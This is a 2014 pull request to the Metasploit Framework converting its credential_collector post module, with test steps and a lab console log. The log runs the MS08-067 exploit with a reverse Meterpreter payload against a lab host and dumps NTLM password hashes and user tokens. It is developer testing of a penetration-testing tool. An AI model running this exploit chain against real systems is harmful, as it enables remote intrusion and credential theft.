rapid7/metasploit-framework — pull request #3717 by todb-r7 (2014-08-27 22:58:31+00:00)
Title: Converts credential_collector to the cred gem

Took me a couple hours but I think I figured it out.

@dmaloney-r7, can you please check my work here?

Also we have fifty billion ways to PTH.

## Vertification

- [ ] Get a Meterpreter session as session 1
- [ ] `use post/windows/gather/credentials/credential_collector`
- [ ] `set SESSION 1`
- [ ] `exploit`
- [ ] See that credentials are recorded

The goal here is to get a regular Meterpreter session, and see that the module records credentials in the regular way.

Note that I don't super care about the Incognito bit, that just records notes.

Also, did some very slight housekeeping on some of the older code idioms.

````
resource (/home/todb/rc/ms08-067.rc)> use exploit/windows/smb/ms08_067_netapi
resource (/home/todb/rc/ms08-067.rc)> set rhost 192.168.145.60
rhost => 192.168.145.60
resource (/home/todb/rc/ms08-067.rc)> set lhost 192.168.145.1
lhost => 192.168.145.1
resource (/home/todb/rc/ms08-067.rc)> set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] 192.168.145.60:1294 Request received for /IaoC...
[*] 192.168.145.60:1294 Staging connection for target /IaoC received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened (192.168.145.1:8080 -> 192.168.145.60:1294) at 2014-08-27 17:54:13 -0500
use post/windows/gather/credentials/credential_collector
msf post(credential_collector) > set session 1
session => 1
msf post(credential_collector) > creds
Credentials
===========

host service public private realm private_type
---- ------- ------ ------- ----- ------------

msf post(credential_collector) > run

[*] Running module against MSFDC1
[+] Collecting hashes...
Administrator:a46139feaaf2b9f117306d272a9441bb:6597d9fe8469e21d840e2cbff8d43c8b
Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
...etc...
[+] Collecting user tokens...
MSFDOMAIN\postgres
NT AUTHORITY\LOCAL SERVICE
...etc...
[*] Post module execution completed
msf post(credential_collector) > creds
Credentials
===========

host service public private realm private_type
---- ------- ------ ------- ----- ------------
192.168.145.60 445/tcp (smb) Administrator a46139feaaf2b9f117306d272a9441bb:6597d9fe8469e21d840e2cbff8d43c8b NTLM hash
192.168.145.60 445/tcp (smb) Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash
...etc...
````